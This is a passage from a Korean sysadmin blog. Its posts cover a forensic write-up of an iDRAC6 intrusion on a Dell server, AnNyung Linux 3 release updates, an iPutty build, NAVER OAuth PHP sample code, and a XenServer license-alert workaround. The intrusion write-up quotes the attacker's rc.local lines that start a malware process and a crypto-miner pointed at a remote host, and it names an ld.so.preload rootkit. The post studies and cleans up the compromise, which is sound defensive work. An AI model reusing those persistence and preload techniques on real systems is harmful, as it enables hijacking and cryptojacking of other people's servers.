뭘 이런걸..

Posted
Filed under security
며칠전 지인에게서 시스템이 이상하다고 봐달라고 하여 확인을 하다가 발견한 사항 입니다.
특이사항으로는 다음의 공통점이 있습니다.

  1. iDrac이 달려 있는 Dell server (R610 제품군..)
  2. iDrac이 public IP로 설정 되어 있음

증상은 다음과 같습니다.
  1. CPU nice가 100% 사용 됨. (Nice는 shell의 nice를 의미하며, nice 우선권이 높은 cpu time을 말하므로, CPU usr 사용량이 100%라고 봐도 무방합니다.)
  2. find 명령을 실행하면 무조건 'file not found'
  3. ls 실행시에 astrik(*)가 처리되지 않음.
일단, 증상 2,3으로 보아 직감적으로 cracking을 당한것으로 보였고, hidden process를 처리하는 rootkit이 실행이 된 것으로 판단하여 시스템을 뒤지기 시작했으며, 보통 hidden process 처리는 kernel module이나 library preload를 이용해서 부팅시에 처리하므로 다음의 단계로 확인을 해 보았습니다.

  1. rpm -Va 명령으로 변조된 binary file 여부 확인
  2. /etc와 /boot 의 모든 파일 검사
    1. rc.local 에서 다음의 내용 확인

      nohup /bin/_-pud 111.111.111.111 >/dev/null&
      nohup /bin/_-minerd -c /bin/_-config 2> /dev/null&

      /bin/_-pud
      /bin/_-minerd
      /bin/_-config
      /usr/bin/_-minerd

    2. 111.111.111.111:8080 으로 접근해 보면 "mining server online" 라고 뜸. 아마 bit coin 채굴 사이트가 아닐까 의심
    3. 이 프로세스 kill 후 CPU nice 정상화 됨
    4. /etc/ld.so.preload 에 libncom.so.4.0.1 등록된 것 확인
    5. /lib64/libncom.so.4.0.1 이 어느 패키지에도 포함되지 않은 것 확인
      1. /etc/ld.so.preload 제거
      2. /lib64/libncom.so.4.0.1 제거
      3. reboot
    6. find 동작과, ls 시에 astrik 처리 안되는 문제 해결 됨

iDrac과 _-pud로 검색을 해 보면, 2015는 9월말 경에 이 경우와 동일한 건이 1건 검색이 됩니다. 여기서는 iDrac의 firmware의 버그 때문이다는 의견과, iDrac의 암호 관리 때문이다 (모두 iDrac이 public IP로 셋팅되어 있는 경우이네요)라는 의견이 있습니다.
  • http://stackoverflow.com/questions/32536518/i-cannot-start-qemu-kvm-on-a-centos-6-server
  • http://www.webhostingtalk.com/showthread.php?p=9534226

일단, 이 시스템도, iDrac에 접근한 로그는 확인이 되었는데, iDrac에서 OS영역으로의 cracking을 어떻게 했는지에 대해서는 아직 확인이 되지 않았습니다. 뭐 또 제가 hacking이 주영역이 아니다 보니.. 확인하기도 좀 귀찮고.. :-)

위의 내용 참고 하시기 바랍니다. 관련 시스템들은

R610  iDrac enterprise 6 firmware 1.99(2015.07) 입니다.
2015/11/04 16:46 2015/11/04 16:46
김정균

오늘 동일한 증상을 또 확인하여, 분석해 본 결과, iDrac6 에 보안홀이 있고, 여기서 root console을 이용하여 OS로 접근을 한 것이네요.

iDrac6 사용자는 firmware를 2.80 이상으로 업데이트 해야 합니다.

현 시점 최신은 2.85 입니다.

http://www.dell.com/support/home/kr/ko/bsdt1/Drivers/DriversDetails?driverId=J7YYK

보안홀 관련 수정 사항은 2.80 changelog 에서 확인할 수 있습니다.

http://www.dell.com/support/home/kr/ko/bsdt1/Drivers/DriversDetails?driverId=9Y5XD

highjacking을 하는 libncom 에 대해서는 https://packetstormsecurity.com/files/99782/Ncom-Libcall-Hijacking-Rootkit.html 를 참조 하세요.

Posted
Filed under Tech/안녕리눅스
* 참고: 이글의 코멘트로 진행 사항이 계속 업데이트 되고 있습니다.

안녕리눅스 3 소식이라고 10개월 전에 올려놓고 금방 나올것 처럼 포스팅을 했습니다만, 역시나 공수표가 되고 말았습니다.

2015년 한해가 제게는 완전히 고난의 해 이군요. 2015년의 키워드는 '배신'이며, 제 인생에서 지워버리고 싶을 정도로 엄청난 일들을 겪었고, 또 현재 진행형 입니다. 그러다 보니 안녕리눅스 개발 역시 뒷전이 되고 말았습니다.

현재 안녕 리눅스 3의 개발 단계는 기본 패키징은 완료된 상태이며, kickstart 설치 테스트를 하고 있습니다. RHEL의 설치 프로그램인 anaconda 역시 systemd의 도입으로 많이 변경된 관계로 테스트가 꽤 많이 필요하네요.

앞으로의 남은 작업은 다음과 같습니다.

  1. kickstart 설치 정리
  2. systemd 관련 daemon package 정리
  3. KLDP system에 적용 및 테스트
  4. Release
단계상으로는 얼마 안남은 듯 싶은데, 현재 진행형인 제 개인사가 어떻게 방해를 하지 몰라서 일정은 감히 언제 된다고 하기는 힘들 것 같습니다. 하지만 8월 말 부터 계속 꾸준하게 저녁 시간을 할애해서 작업이 진행되고 있으며, 아마도 올해 안에는 공개가 가능하지 않을까 싶습니다.

공개는 일차적으로 RHEL의 패키지를 수정한 base repository를 공개할 수도 있을 듯 싶습니다.
2015/10/07 00:56 2015/10/07 00:56
김정균

https://open.kldp.org 가 안녕 리눅스 3으로 migration 되었습니다. migration을 하면서 apache의 http 2 protocol 지원 문제를 해결 하였고, JAVA 환경에 대한 fix가 있었습니다.

그리고, 안녕 리눅스 패키지 일람이 완성 되었습니다.

https://joungkyun.gitbooks.io/annyung-3-user-guide/content/AnNyung3-Package-Catalog.html

이제 안녕 리눅스 운영에 대한 문서만 완성하면, 안녕 리눅스 3 GA 선언이 가능할 것 같습니다.

김정균

여전히 삽질 중입니다. :-)

apache 2.4.17 부터 mod_http2를 지원하여, apache는 2.4.18로 올려 놓았는데, 어제부터 테스트를 해 본 결과 mod_http2가 동작을 하지 않더군요.

결국에는 문제가 mod_http2가 openssl 1.0.2에서 지원하는 ALPN 을 이용하여 서비스를 하고, CentOS7의 openssl은 이를 지원하지 않는 다는 것이 문제점 입니다.

그리고, Major browser들이 NPN을 이용한 h2 protocol을 depcreated 시킨 것도 문제고요. 인터넷상에서 보면 chrome의 경우에는 다시 NPN을 지원한다고 하였으나, 여전히 48에서는 지원을 하지 않고 있습니다.

그래서 혹시 누군가가 openssl 1.0.1에 ALPN을 backport 하지 않았을까 하여 열심히 검색해 본바 찾을 수가 없더군요. --;

고민에 고민을 하다가 (수정했다가 관리해야 할 패키지가 늘어나는 관계로.. --;) 결국 openssl 1.0.1에 ALPN을 backporting 하여 패키지룰 추가하고, 이 openssl로 httpd를 rebuild하여 mod_http2가 동작을 하게 해 놓았습니다.

엉뚱한데서 계속 시간을 잡아먹네요 --;

openssl-1.0.1e-51.an3.2.x86_64
httpd-2.4.18-2.an3.x86_64

버전이 설치 되어 있어야 mod_http2가 동작 합니다.

P.S.
아 깜빡.. 설치 가이드가 완성 되었습니다.

https://www.gitbook.com/book/joungkyun/annyung3-installation-guide/details

김정균

마지막으로 문제가 되었던 php7 libevent extension 문제 해결(https://github.com/php/pecl-event-libevent/pull/2)과 GeoIP kernel module이 제대로 동작하지 않는 bug를 해결하고 드디어 package freeze 상태로, 설치 테스트를 하고 있습니다. package freeze 상태란, package-version-release.an3.x86_64.rpm 이라는 패키지가 파일 이름 그대로 rebuild가 되는 일이 없을 거라는 의미입니다. 변경 사항이 있으면 무조건 version 업데이트가 된다는 의미입니다. (금일 까지는 동일한 파일이름으로 pcakage가 rebuild 된 경우가 있었습니다.)

일단, 설치 테스트를 하면서 설치 문서를 만들고 있으며, 이 작업이 완료가 되면, Beta 선언을 할 예정이고, open.kldp.org에서 동작하는 서비스들을 AnNyung3으로 migration하여 실테스트 에 들어간 이후 문제가 없으면 GA 선언을 할 예정입니다. 이 작업은 대략 2월 말 정도까지 걸릴 것으로 예상이 됩니다.

김정균

* 2016.01.15 작업 완료

- php 7.0.2 update + official bug fix
- php56 5.6.17
- httpd event mpm 동작 안하는 문제 fix. 기본 MPM을 event 로 변경. php 환경은 mod_php 보다 php-fpm을 사용하는 것을 권장. php56은 mod_php 지원하지 않고 php-cli/php-fpm 만 지원
- php subpackage 중 이름이 php-xxx 에서 php-pecl-xxx 로 변경된 것 다수

* 다음 진행할 작업

- 서비스 환경에 투입하여 동작 확인
- 설치 문서 및 기타 문서 작업
- GE 선언

김정균

2015-12-22 마지막 커멘트 후 소식이 뜸했습니다. :-)

현재 안녕 3의 php 5.6을 php 7 로 변경을 했습니다. 기존의 php 5.6은 php5 package(기본 패키지 아님)으로 지원할 예정이며, php7과의 공존을 위하여 php5-cli와 php5-fpm만 지원할 예정입니다.

현재 남은 작업은 다음과 같습니다.

1. php7 용 3rd party 확장 migration (oauth/sqlrealy)
2. php5 package 제작
3. 안녕 3 실환경 migration 테스트 (http://open.kldp.org ..)
4. 문서 작성 및 GE 선언

node-js와 mongodb 관련은 릴리즈가 너무 지연이 되어 GE 선언 이후로 미루기로 결정했습니다.

김정균

현재 PHP 7 반영을 하고 있는데, 여기서 의외의 복병을 만나 시간을 잡아 먹고 있습니다.

기존 char * 형식으로 사용하던 변수들이 php 7로 오면서 zen_string 이라는 구조체를 사용하게 되었고, 이로 인하여, 기존의 patch에서 이를 다 변경해야 하는 이슈가 발생하네요.(패키들을 거의 새로 다시 작성 해야 한다는 --;) 그리고 기존의 third party extension들도 다 php 7 API로 변경을 해야 하는 문제가 발생하네요. 아쉽게도 시간이 조금 더 소요가 될 것 같습니다.

아직도, php 5.6 으로 갈것이냐 php 7로 갈것이냐가 갈등의 요지이네요 --;

김정균

RHEL 7.2 update pakcage의 변경 사항 반영이 완료 되었습니다.

php 7 작업과 문서 작업 후 beta release 예정 입니다. (fix된 날자는 아직.. ^^) beta release는 open.kldp.org 서버를 an3로 업데이트 후에 re-pack된 패키지들에 문제 여부를 확인 후 GA 선언 예정 입니다.

김정균

RHEL 7.2의 package 버전 의존성과 RHEL 7.2와 EPEL package와의 충돌 (안녕 3은 기본으로 EPEL을 포함하고 있습니다.) 때문에 CentOS 7.2 release를 기다리고 있어 릴리즈가 좀 늦어지고 있습니다.

기다리면서, php 7.0 도입을 아주 심각하게 고민하면서 일단 시도를 해 보고 있습니다.

김정균

어흑.. RHEL 7.2 가 나오고 말았네요. ....

rebuild 해야될 패키지들이 꽤 있습니다. 조금 더 딜레이 되겠군요.

release 까지의 남은 job list는 다음과 같습니다.

1. PHP 7 upgrade (할까 말까 고민중입니다만, 작업은 하고 있습니다.)
2. nodejs를 4.x로 할지 5.x로 할지 고민 중
3. RHEL 7.2 변경 사항 rebuild

이 작업이 끝나면 배포본 작업은 완료된 상태로 다음의 job list가 남습니다.

1. 문서 작업
2. 실전 투입(KLDP 서버중 하나..)하여 버그 테스트

이 과정을 마치면 정식 릴리즈가 될 예정입니다. 문서 작업이 완료되는 대로 일단 beta 오픈은 가능할 것 같습니다. RHEL 7.2가 release 변수를 만들어 버리네요 ^^;

김정균

이 글을 포스팅한지 한달 정도가 지났고, 현재 진행 상태를 공유 합니다.

일단, 제가 회사를 퇴사하여 백수가 된 상태라 시간이 많이 나게 되었습니다. 물론 쉬는 동안에 육아를 하고 있으므로, 아주 많이는 아닙니다. :-) 현재 12월 중 release를 목표로 달리고 있습니다만, 테스트 machine이 부족한 것이 흠이네요 ^^;

일단, 설치 테스트는 완료 되었습니다. 문서만 만들면 안녕 3설치는 가능합니다. 다만, RHEL 7부터 systemd 를 도입함으로서 설치 installer 가 많이 변경이 되어, 안녕 2 보다 설치는 타이핑을 좀 많이 해야 한다는 단점이 있습니다. --;

현재 남은 작업은 다음과 같습니다.

1. 몇몇 3rd party packaging
. sendmail - systemd 처리
. redis - memcached 처럼 init script로 process 여러개 관리 할 수 있도록
. proftpd - systemd 처리
. tomcat - systemd 처리
. l4vip - systemd 처리
. nodejs - version 4 upgrade
. httpd nis/ntlm 모듈 재작성 (apache 2.4부터 인증 모듈 변경)

2. 알려진 bug 수정
. /etc/login.def.exception 반영 안되는 문제 ( shadow-utils)
. jfbterm 에서 한글 입력 안되는 문제 (출력은 문제 없음)

1번 작업은 11월 안에 완료가 될 것 같고, jfbterm과 nodejs 만 빼면 12월 중에 안녕 3 릴리즈는 가능할 것 같습니다.

일단 재취업은 안녕 3릴리즈 후로 생각하고 있으므로, 안녕 3 릴리즈에는 매진을 할 수 있을 것 같습니다.

Posted
Filed under Tech/프로그래밍
어쩌다 보니 시간이 남아돌게 되었고 (안녕 리눅스 3을 기다리시는 분들께는 안녕 리눅스 3작업을 못해서 죄송합니다. 작업 환경이 없어져서 못하는 관계로 이해해 주십시오.. )

중기님의 iPutty 0.64 release 계획은 보이지도 않고..

그래서 iPutty 0.63에 Putty 0.64 변경 사항을 반영하여 64bit로 빌드한 binary를 공유 합니다. 기존 버전과 추가 기능도 있습니다.

Changelog:
  1. 0.64 변경 사항 반영
    https://bitbucket.org/daybreaker/iputty/issue/11/putty-064
  2. 64bit build
    https://bitbucket.org/daybreaker/iputty/issue/12/64bit
  3. cygterm 지원 (puttycyg 패치 적용)
    https://bitbucket.org/daybreaker/iputty/issue/10/puttycyg
  4. psftp의 ls가 디렉토리 리스팅만 가능한 것을 "ls file"도 가능하도록 수정
  5. psftp utf8 지원 (remote는 기본으로 utf8임)
    https://bitbucket.org/daybreaker/iputty/issue/13/psftp-utf8

2015/05/30 00:20 2015/05/30 00:20
Posted
Filed under Tech/안녕리눅스
12월 초에 안녕 리눅스 3일정을 잡았다가 현재는 2015년 1월 말로 연기된 상태 입니다.

현재 작업 상태는 core package들의 re-packaing이 거의 완료된 상태입니다.

문제는 결국에는 기존의 init를 systemd로 변경된 것에서 문제가 발생을 하고 있네요.

안녕의 init script에는 argument를 가져와서 사용하는 것들이 있습니다. 대표적으로 mysql과 redis, memcache 같은 것들인데요. 이 데몬들의 init script들은 argument를 이용해서 여러개의 process를 관리할 수 있도록 되어 있습니다.

문제는 systemd가 외부 argument를 받아 들이지 못하는 것 같고(아직 정확하게 파 보지는 않아서 추측입니다..), 그리고 외부 변수(sysconfig)의 활용도가 너무 제한적이라는 것입니다. 그냥 자유를 박탈당한 기분이랄까요?

지금은 systemd를 뜯어 고쳐야 하나 심각하게 고민중입니다. 그래서 일정이 더 지연이 될 수도 있을 것 같네요. 고민고민 병에 걸려 버렸습니다. --;
2014/12/18 14:58 2014/12/18 14:58
김정균

뭐 계속 약속을 못 지키고 있습니다. 아마도 시간이 조금 더 걸릴 예정입니다.

현재, 제 개인적인 사정으로 작업을 전혀 하고 있지 못하고 있습니다. 전업이 아니다 보니 문제가 발생시에 아무래도 우선 순위가 떨어질 수 밖에 없네요. 현재는 안녕 2 업데이트에만 전념하고 있는 상태 입니다. (업데이트만은 전업처럼 지원하고 있습니다. ^^)

조만간 제 신상에 변화가 생길 예정입니다. 이 문제 때문에 지연이 되고 있으며, 백수 신세가 되면 아마도 좀 빨리 진행이 가능하지 않을까 싶네요. 백수가 되기 까지 투쟁이 필요한 까닭에, 기다리시던 분들께는 양해를 구합니다.

김정균

또 다시 출시 기한을 어기고 말았네요. :-)

현재 상태는 systemd 수정(아주 조금..^^)을 마친 상태에서 daemon 들 패키징 중입니다. 기존의 init script 체제를 systemd 체제로 변경하고 있는데, 이 작업이 꽤 공수가 많이 들고 있습니다.

현재 작업 결과물은 http://mirror.oops.org/pub/AnNyung/3/ 에 공개되어 있으며 남은 작업은 다음과 같습니다.

systemd 적용 -> installer 제작 -> 정식 릴리즈

2월말 까지는 release가 가능하도록 노력해 보겠습니다. :-)

Posted
Filed under Tech/프로그래밍
요즘 문중 홈페이지를 새로 만드는 작업을 하고 있고, 여기에 회원 인증을 OAuth로 구성을 하고 있습니다. 대충 구글/페이스북/트위터/다음/네이트를 지원하고 있는데, Naver의 경우에는 Naver OAuth가 회원 정보를 주지 않아서 구현만 하고 사용은 하지 않고 있었습니다.

그런데 얼마전, 네이버에서 "네이버 아이디로 로그인"이라는 API를 새로 런칭 하였고, 이 API는 OAuth2 기반으로 구현을 하였더군요. (Naver OAuth는 OAuth10a로 구현되어 있습니다.)

사이트 설명에서는 mobile만 library를 지원하고 PC에서는 그냥 설명만 있어서, 그래도 네이버인데 누군가 만들지 않을까 하고선 한두달을 기다렸는데 나오지를 않더군요.

아무래도 OAuth로 회원 인증을 하려다 보니, 우리나라에서 가장 많은 사용자를 가진 네이버를 무시할 수 없고, 또한 문중 어르신들에게 네이버 외에 아이디가 없으면 다른 곳에 가입을 하라고 권유를 드리기가 너무 힘들어서 결국에는 구현을 해 보았습니다.

일단 설치는 pear 저장소를 통해서 배포를 하므로, 아래와 같이 할 수 있습니다. 자세한 사항은 OOPS Pear repository 홈페이지를 참고 하세요.

[root@main ~] pear channel-discover pear.oops.org
Adding Channel "pear.oops.org" succeeded
Discovery of channel "pear.oops.org" succeeded
[root@main ~] pear install oops/NAVER


그러면 간단한 사용법을 적어 보겠습니다.

일단 "네이버 아이디로 로그인" API를 사용하려면 OAuth2 ClientID와 ClientSecret key를 발급 받아야 합니다. 다른 곳과는 다르게 네이버는 심사를 하더군요. 최대 3일 이내에 처리를 해 주기는 합니다만, 경쟁상대인 다음도 심사를 하지는 않는데 좀 그렇더군요. 그리고 사용 조건도 상당히 까다로운 편입니다. 네이버 BI를 지켜야 하는 등 ..

일단 발급을 받았다면 다음의 코드와 같이 작성할 수 있습니다. 굉장히 심플 합니다. ^^;
블러그에 코드가 별로 이쁘게 나오지를 않으니 가독성을 위해서는 다음 문서들을 참고 하세요

NAVER OAuth2 pear package Reference
NAVER OAuth pear package 예제 코드

<?php
/* $Id: test.php 1 2014-05-16 19:11:07Z oops $ */

require_once 'NAVER.php';

session_start ();

// 에러 발생시에 catch를 하기 위하여 error handler를 등록
set_error_handler ('myException::myErrorHandler');

try {
    // 발급받은 키를 등록한다.
    $login = (object) array (
        'id'       => '8avBegO24BpmziA3027D',
        'secret'   => '1zUVPMAl5R',
        'callback' => 'http://domain.com/path/this/file'
    );

    // 인증 과정을 수행
    $naver = new NAVER ($login);

    // 인증 과정 완료 후 사용자 정보를 가져옴
    $user = $naver->getUser ();

    // 유저 정보 출력
    print_r ($user);

} catch ( myException $e ) {
    // 에러 발생시에 다음 출력
    echo '<pre>' . PHP_EOL;
    echo $e->Message () . PHP_EOL;
    print_r ($e->TraceAsArray ());
    exit;
}

/*
 * Local variables:
 * tab-width: 4
 * c-basic-offset: 4
 * End:
 * vim600: noet sw=4 ts=4 fdm=marker
 * vim<600: noet sw=4 ts=4
 */
?>

2014/05/17 05:35 2014/05/17 05:35
Posted
Filed under Tech/안녕리눅스
제가 안녕 리눅스를 처음 배포한지 벌써 만 12년이 다 되어 갑니다.

그러함에도 불구하고, 안녕 리눅스는 여전히 듣보잡이라는 소리를 듣는 minor한 배포본 입니다. 그래서 오랜만에 한번 썰을 풀어보고자 합니다.

안녕 리눅스 1.x는 2003년 6월에 처음 배포를 시작해서 2012년 12월말까지 대략 9년 6개월 정도를 지원했습니다. 상용 리눅스인 RHEL보다도 2년반을 더 지원을 했네요. 물론 제 개인적인 사정으로 커널 2.6 대응이 늦어지다보니 어쩔 수 없이 길어지기는 했습니다 ^^;

안녕 2는 안녕 리눅스 1을 배포한지 딱 10년만에 출시가 되었는데요. 공식적으로 커널 2.6을 대응하는 버전입니다. (커널 2.4로 정말 많이 울궈 먹었습니다. ^^)

안녕 리눅스의 사용량에 대해서도 썰들이 참 많습니다. 일단 듣보잡이라는 말을 듣기 때문에 아무도 사용하지 않을거다라는 의견도 참 많이 들어봤고, 예상하시는대로 굉장히 minor한 배포본임에는 틀림없는 사실입니다.

일단 예전에 KLDP 10주년 행사시에 한번 구두로 밝히기는 했는데, 안녕 리눅스 업데이트 log 기록을 기준으로, 1.3 이 출시 되었을 때 최고치를 찍었으며 ip 기준으로 100,000 대 조금 안되게 설치가 되었던 것으로 추측을 합니다. 안녕 2의 경우 안녕 리눅스가 커널 2.6 대응이 너무 늦은 이유로 사용자 층이 많이 떨어져 나가서 현재 12,000 여개의 IP에서 update log가 들어오고 있습니다. 생각 보다는 많다고 생각 되실지도 모르겠습니다. 일단 제가 한 300개의 ip를 찍고 있기는 하며, 안녕 2의 경우 yum repository를 사용하며 mirror 쪽으로 가는 것은 알수가 없으므로 좀 더 많지 않을까 추측해 봅니다.

제 입장에서는 제게 안녕 리눅스 어떠냐고 물어보면 사용하지 말라고 하고 다니고, 홍보도 거의 안하는 배포본이 이만큼이나 사용되고 있다는 것에 놀랍기는 합니다. (언젠가 드라마에 안녕 리눅스가 나오기도 했었죠. 남상미 나오는.. http://my.oops.org/52?category=17 참조)

그리고, 제가 받는 질문 중의 가장 빈도가 놓은 질문이 "안녕 리눅스를 업무용으로 사용하기에는 불안하다"라는 것입니다.

이건 개인 판단이기 때문에 전 항상 이런 질문을 받으면 "CentOS나 RHEL 사용하세요"라고 답합니다. 이유로는 일일히 이해 시키기도 그렇고, 제가 업무용으로 custom한 배포본이기 때문에 다른 사람이 사용하지 않아도 상관이 없는지라 이해를 시키기 귀찮아서 이렇게 답하고, 홍보를 안하는 것지요.

그래서 여기서는 이 부분에 대해서 한번 설명을 해 보려고 합니다.

일단 "불안하다"라는 것에 대해서는 제가 판단하기로는 기술적인 문제 보다는 안녕 리눅스의 미래에 대해서 불안하다는 것이겠지요. 뭐 제가 쌩으로 만든 배포본도 아니니 안녕 리눅스가 기술적으로 불안하다면 CentOS 아니 RHEL까지 싸잡힐테니 말입니다. :-)

영속성이라는 것이 얼마나 오래 버티고 내가 계속 사용을 하는데 문제가 없을까라는 점이 가장 큰 이유인데, 세계의 배포본들을 잘 살펴 보시면 그 잘나가던 배포본들도 안녕 리눅스의 역사보다 짧은 시간을 가진 것들이 많습니다. 특히 우리나라에서 배포하는 것 치고는 안녕 리눅스와 역사를 비슷하게 할 수 있는 것은 SULinux 밖에 없는 것 같군요. (하지만 안녕 2가 너무 늦게 나온 것에 대해서는 할말이 없습니다. 이게 개인 배포본의 한계이기는 하죠.)

그리고, 개인이 한다는 것에 대한 불안감도 많이 있습니다. 하지만 이 경우도 slackware의 경우에도 개인이 잘 유지하고 있죠. 다만 개인의 한계로 인하여 이제는 안녕 리눅스 처럼 minor한 배포본이 되었지만요. 안녕의 경우, 이런 부분 때문에 1.x에서 독자 배포본으로 변신을 시도 했다가 안녕 2에서는 기생 배포본으로 다시 환원하게 됩니다. ^^;

일단 안녕 리눅스가 이렇게 오랜시간 동안 유지할 수 있는 이유는 간단합니다. 바로 제가 업무용으로 사용을 하기 위하여 유지보수를 하고 있기 때문입니다. 그리고 제 성격이 좀 엿같은 부분이 있는데, 제가 행한 것에 대해서는 어떻게는 책임을 지려고 하는 저한테는 아주 않좋은 습관이 있는데, 이것도 일조를 합니다. (직접적으로 비용이 들 경우에는 안면 몰수를 잘하는 좋은 습관도 있습니다. ^^)

안하던 홍보를 해 보자면, 안녕 리눅스를 사용하시면 ISMS나 PIMS 인증을 받으실 때 보안 업체에서 돌리는 check script에 대응하는 것들이 기본으로 90% 정도 반영이 되어 있습니다. 돌려 보라고 하세요. 별거 안나올 겁니다.

PHP를 사용하시는 분들은 안녕 리눅스에서 패치된 safe_mode_exec_dir 기능을 사용해 보십시오. system injection에서 해방이 되실 겁니다. 그 외에 상위 버전의 php의 기능이 back porting 되어 있기도 합니다.

system jail을 하고 싶으시면 안녕 리눅스의 pam_chroot를 사용해 보십시오. 기존의 pam_chroot 보다 훨씬 쉽게 할 수 있습니다.

뭐 그 외에도 기타등등 있기는 한데, 정리해 놓은 것이 없어서.. (이것도 홍보를 안하는 이유중의 하나 입니다.)

참 많이도 적었네요. 마지막으로 안녕 리눅스가 발전해온 경과를 한번 보겠습니다.

wikipedia 한국어 판의 안녕 리눅스 문서를 보면 "배포판이 지나치게 비대해지는 것에 실망하여" 라는 설명이 있습니다. 이게 annyung linux 공식 홈페이지에 있는 글인데, 의미가 좀 다르게 퍼져나가 있더군요.

안녕 리눅스의 시작은 개인적인 목적이 아니라 회사에서 사용을 하기 위하여 설치 후 customize를 하는 것을 배포본으로 만든 것입니다. 그러다 보니 배포본에서 X 환경을 제거를 하였고, 배포할 때 업로드가 힘들어서 slim한 배포본을 만든 것이죠. 1.2G 짜리 ISO를 200M 짜리 ISO로 만들었으니, 이런 의미에서 "비대"라는 표현을 쓴 것이죠.

실질적인 안녕 리눅스의 정체성은 2005년경 부터 나타나기 시작하였고, 여기서 독자적인 배포본의 욕심을 부려봅니다.

안녕 리눅스의 정체성은 KLDP와 관련이 되어 있습니다. 2005년경에 KLDP에 아주 중대한 사건이 발생합니다. 사용하던 phpbb 2의 Highlight Vulnerability에 의해서 system injection을 당하여 "rm -rf /"를 당합니다. backup 해 놓은 db로 겨우 복구를 하였죠.

이 때, 제가 있던 회사에서 KLDP를 후원을 하고 있었던 까닭으로 KLDP의 복구를 제가 하게 됩니다. 그리고 그 이유로 제가 KLDP의 시스템 관리를 지금까지 하게 됩니다.

다시 정체성으로 돌아가보면, KLDP의 시스템 관리를 하게 되었는데, 문제는 KLDP를 회사 서버처럼 돌볼수는 없다는 점이었습니다. 그렇다고 이런 사건이 날때마다 닥질을 하기도 그렇고 해서 엉뚱한 생각을 하게 됩니다. 문은 열리라고 있는 것이고, 보안은 안뚫릴수 있는 시스템은 없다는 가정을 해보니, 문을 열고 들어와도 훔쳐갈게 없게 만들면 되지 않을까라는 엉뚱한 생각입니다. 마침 php에는 쓸모도 없는 safe mode에서 shell을 jail시키는 safe_mode_exec_dir 이라는 기능이 있었습니다. 그런데 이 기능을 구현하는 parser가 엄청나게 구려서 실제 환경에서는 사용할 만한것이 아니라, system command parser를 새로 구현해서 safe_mode_exec_dir을 safe_mode가 아니어도 사용할 수 있도록 patch를 합니다. openbase_dir과 safe_mode_exec_dir을 같이 적용을 하면 system injection을 하더라도 실행할 명령 자체가 command not found가 되어 버립니다. 심지어는 shell의 internal command 까지 말이죠. 바로 web shell이 무력화가 되더군요. http://annyung.oops.org/?m=white&p=php-guide 를 참고 하시면 이 외에도 많은 부분이 보안 목적으로 패치가 되어 있고, 현재 KLDP와 현업에서 잘 활용을 하고 있습니다.

즉, 안녕 리눅스의 정체성은 관리할 여유가 없는 서버가 대상이 되기 시작합니다. (물론 그냥 안녕 리눅스만 설치해 줬다고 해서 이렇게 되지는 않습니다. 초기 설정은 한번 해 줘야 가능하죠)

KLDP를 위한 이 기능이 회사에서 사용하게 되고, 회사의 보안성을 높이게 된 계기가 됩니다. 이렇게 KLDP는 제가 회사에서 적용하는 것들의 test bed 가 되었지요. 그러다보니 KLDP의 시스템은 일반 community가 운영하는 level과는 비교할 수 없게 운영적으로 고도화가 되어 있습니다. (인증 통합 부터, (Layer 7 level)모니터링, 떨어져 있는 시스템간의 VPN 연결 등등) 고도화가 되어 있는 이유는 전에 말했듯이 운영에 실험적으로 해 볼만한 것들을 KLDP에서 반영하여 테스트 하고, 확신이 들면 업무에 적용을 하는 것이죠. 그리고 이것들은 모두 안녕 리눅스에 반영이 되게 됩니다.

반대로 업무에 안녕리눅스를 사용하면서 안녕 리눅스가 발전되는 부분은 제도권 즉 ISMS나 PIMS 같은 인증 이슈가 있습니다. 일일이 지적 사항을 반영하기가 귀찮아서 그냥 안녕 리눅스에 기본 적용을 해 버린 것이죠.

뭐 이 외에도 말할 것들은 많지만 글재주가 없는지라 여기까지만 해도 힘드네요.

정리하자면, 안녕 리눅스는 중소규모의 서비스에 사용할 만큼 밖에 되지 않는 배포본은 아닙니다. 실제로 네이버 정도는 아니지만, daum 정도 이상의 규모에서 사용되었고(daum에서 사용한다는 의미는 아닙니다), 그에 준하는 곳에서도 main 배포본으로 사용이 되고 있으니까요. 충분히 enterprise 급의 배포본 입니다.

하지만 제게 "안녕 리눅스 사용을 권장하겠습니까"라고 물으면 전 여전히 "사용하지 마세요"라고 답을 할 겁니다. 여기서 발생을 하는 문제가 바로 안녕 리눅스의 최대 약점인데.. 바로 수많은 요구 조건을 받아들일 수 없는 개인 신분이기 때문입니다. 안녕 리눅스는 제가 필요한 사항이 반영되는 시스템이지 anonymous의 요구를 충족할 수 있는 배포본이 아니기 때문입니다.

그래서 제목에 대한 결론을 내리자면, "안녕 리눅스 너 뭐야?" 에 대해서는 "몰라도 돼. 신경꺼" 입니다. ^^;

P.S.
가끔 안녕 리눅스를 ubuntu 기반으로 변경할 생각이 없냐고 물으시는 분이 있습니다. 이 질문에 대해서는 "아직 없습니다." 입니다. 개인적으로 ubuntu의 설정 정책이 많이 마음에 들지 않습니다. 너무 직관적이지 않거든요. 이런 점에서는 RHEL 7에 적용될 systemd도 많이 마음에 들지 않습니다. 안녕 3에서는 systemd를 빼버릴지도 모르겠군요(라고 마음은 먹지만 귀찮음에 빼지는 못할 것 같습니다. TT)
2014/05/03 02:11 2014/05/03 02:11
uriel

이번에 debian과 ubuntu의 init system이 systemd로 바뀌기로 되어서 systemd로 일관되게 유지할 수 있을텐데요.

김정균

일단 systemd도 initd에 비하여는 hacking이 쉽지 않다는 거죠. initd야 해당 script에서 수정할 사항 대충 수정하면 되지만, systemd가 될 경우에는 변경 사항이 전반적으로 미칠 수 밖에 없으니 쉽게 수정하려 하기는 함들 거라는 의미입니다. 그래서 systemd 도 반갑지 않다는 의미입니다.

그리고, ubuntu의 경우에는 repository 운영을 조금씩 해 보고 있는데, repository 운영의 knowhow도 yum repository에 비하여 비용이 많이 드는 것 같더군요.

즉, ubuntu system이 RHEL 계열에 비해서 딱히 장점을 못느끼겠다는 것입니다.

그리고 가장 중요한 것은, LTS의 life time이 server의 경우 5년이기는 하지만, 그래도 RHEL(7년)에 비해서는 짧다는 것도 부담감이기는 하죠. :-)

Posted
Filed under Tech/Tip & Trick
Xen Server 6.0.2 이전 버전에서 6.2로 업그레이드를 했을 경우, XenCenter에서 license expire alter이 뜰 경우 조치 방법입니다.

아마도, Xen Server 6.2에서 설치한 VM host들은 license expire가 발생하지 않을 겁니다.

Xen host의 console로 들어가서

shell# cd /etc/xensource shell# mv license license.org shell# xe-toolstack-restart


위의 조치를 취하면 더이상 expire alert이 뜨지 않습니다.

출처: http://discussions.citrix.com/topic/334904-xenserver-62-free-with-license-expire-message/
2014/03/20 00:48 2014/03/20 00:48
Posted
Filed under Tech/프로그래밍
